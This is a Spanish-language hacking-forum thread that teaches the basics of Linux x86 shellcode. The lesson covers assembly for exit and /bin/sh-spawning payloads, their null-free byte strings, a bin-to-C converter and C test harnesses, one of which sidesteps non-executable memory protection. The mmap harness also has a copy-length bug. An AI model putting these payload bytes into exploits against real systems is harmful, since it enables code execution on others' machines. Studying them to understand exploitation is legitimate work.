Que es una shellcode ?

gfxgfx
 
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación?

Ingresar con nombre de usuario, contraseña y duración de la sesión
 
gfx gfx
gfx
21208 Mensajes en 4872 Temas por 20736 Usuarios - Último usuario: Fitletolo Mayo 23, 2012, 00:52:22
*
gfx*InicioAyudarssBuscarCalendarioIngresarRegistrarsegfx
gfxgfx
0 Usuarios y 1 Visitante están viendo este tema.       « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Que es una shellcode ?  (Leído 2313 veces)
snf
Administrator
*****
Desconectado Desconectado

Mensajes: 692


Ver Perfil
Que es una shellcode ?
« en: Octubre 29, 2009, 01:08:50 »

En este post voy a introducir el concepto de shellcode para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para realizar las demostraciones.

Que significa shellcode?
Primero necesitamos saber el significado etimologico de shellcode.
Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.
Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.

Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).

Como creamos una shellcode?
Generalmente se hacen en lenguaje ASM (assembler) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).
Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.
Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.
Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).
Código
Code (asm):
BITS 32
exit:
xor ebx,ebx ;ponemos 0 como argumento de exit
xor eax,eax ;limpiamos eax y ebx
mov al,0x01 ;ponemos 1 en eax (es el codigo de la syscall exit)
int 0x80 ;finalmente llamamos a la interrupcion
 
Ahi hicimos nuesta primer "shellcode".

Como extraemos los bytes u opcodes?
Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:
~$ nasm exit.asm
si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con
~$ ndisasm-b 32 exit
y nos mostrara el desensamblado del codigo con sus respectivos opcodes:
00000000  31DB            xor ebx,ebx
00000002  31C0            xor eax,eax
00000004  B001              mov al,0x1
00000006  CD80              int 0x80
Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:
Código
Code (python):
#!/usr/bin/python
from binascii import *
import sys
 
files = {}
length = []
 
def write(string):
sys.stdout.write(string)
 
def process_file(file):
source = open(file,"rb")
write("char shellcode[]=\n\t\t")
i = 1
l = 0
write("\"")
for data in source.read():
write("\\x")
write(b2a_hex(data))
if (i % 15)==0:
write("\"\n\t\t\"")
i+=1
l+=1
files[file[0:-4]]= l
write("\";\n\n")
source.close()
 
print("HDL Shellcode Lab - Bin to C")
if(len(sys.argv)<2):
exit(0)
process_file(sys.argv[1])
 
Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:
Código
Code (c):
char shellcode[]=
"\x31\xdb\x31\xc0\xb0\x01\xcd\x80";
 

Como probar las shellcodes?
Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:
Código
Code (c):
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode
int main (int argc, char *argv[])
{
 int (*run)();   //puntero a una funcion
 run = shellcode; //asignamos la direccion de la shellcode al puntero
 run();  // y la ejecutamos
}
 
Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.

Una shellcode mas compleja
Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.
Código
Code (asm):
BITS 32
       xor  eax,eax
       push eax
       push dword 0x68732f6e ;ponemos a /bin/sh en la pila                  
       push dword 0x69622f2f
       mov  ebx,esp     ;y le damos la direccion de /bin/sh a ebx      
xor  edx,edx
       push edx ;ponemos el resto de los argumentos en la pila  
       push ebx
       mov ecx,esp
       mov al,0x0b ;llamamos a la syscall 0x0b (execve)            
       int 0x80
 
Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:
Código
Code (c):
char shellcode[]=
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre  bad chars )
Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.

Espero que les haya gustado esta pequena introduccion a shellcodes y si tienen dudas pregunten.

Saludos,
Seba.
« Última modificación: Octubre 29, 2009, 03:20:33 por snf » En línea

Posts "interesantes"
================
Que es una shellcode?
Bad chars y encoders/decoders en payloads

El tiempo es un gran profesor, pero lamentablemente mata a todos sus alumnos.
ConfusedMind
Administrator
*****
Desconectado Desconectado

Mensajes: 1.027


Just do it


Ver Perfil WWW
Re: Que es una shellcode ?
« Respuesta #1 en: Octubre 29, 2009, 01:38:59 »

Excelente seba, quedo de maravilla Wink
Gente aprovechen que es un tema interesantisimo.

Es cuestion de apoyar la cabeza y leer leer leer y leer.
En línea

raikoxs
Super Usuario
***
Desconectado Desconectado

Mensajes: 305



Ver Perfil
Re: Que es una shellcode ?
« Respuesta #2 en: Octubre 29, 2009, 05:55:35 »

muy bueno.. gracias  Wink

saludos
En línea





Phantom Lord
Administrator
*****
Desconectado Desconectado

Mensajes: 3.019



Ver Perfil WWW
Re: Que es una shellcode ?
« Respuesta #3 en: Octubre 29, 2009, 11:58:08 »

la verdad te pasaste , nunca encontre un texto que explique de esta manera , nunca adube bien con shellcode siempre me rompio la cabeza , espero que con tus textos agarre viaje seba segui asi. Son temas muy interesantes y demasiado "importantes".
En línea

Click En la imagen Para ingresar A Mi Web - Sumate a la comunidad Fantasma
netpatan
Administrator
*****
Desconectado Desconectado

Mensajes: 1.095


http://debianargentina.blogspot.com/


Ver Perfil WWW
Re: Que es una shellcode ?
« Respuesta #4 en: Octubre 29, 2009, 15:01:18 »

Seba muy buen aporte clarisimo  Wink




Salutte
                      Net Cool
En línea

Debian Squeeze, una maravilla...vio?
Si queres aprender date una vuelta:

http://debianargentina.blogspot.com/
snf
Administrator
*****
Desconectado Desconectado

Mensajes: 692


Ver Perfil
Re: Que es una shellcode ?
« Respuesta #5 en: Noviembre 18, 2009, 20:42:48 »

Bueno, posteo un agregado.
Algunos sistemas linux traen proteccion de memoria con los nuevos procesadores asi que no va a permitir ejecutar la shellcode en el codigo que puse arriba. Es por eso que pueden usar este codigo para probar sus shellcodes:
Código
Code (c):
#include <sys/types.h>
#include <sys/mman.h>
 
char *shellcode = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80";
 
int main (int argc, char *argv[])
{
 char (*mem)();
 mem = mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
 memcpy(mem, shellcode, sizeof(shellcode));
 mem();
}
 

Saludos,
Seba.
En línea

Posts "interesantes"
================
Que es una shellcode?
Bad chars y encoders/decoders en payloads

El tiempo es un gran profesor, pero lamentablemente mata a todos sus alumnos.
z4s
User Nuevo
*
Desconectado Desconectado

Mensajes: 6



Ver Perfil WWW
Re: Que es una shellcode ?
« Respuesta #6 en: Noviembre 24, 2009, 21:48:43 »

Muy buena info y muy bien explicado
En línea

gfx
Páginas: [1] Ir Arriba Imprimir 
gfx
Ir a:  
gfx
Powered by SMF 1.1.16 | SMF © 2006, Simple Machines
HDL Group hackers

gfx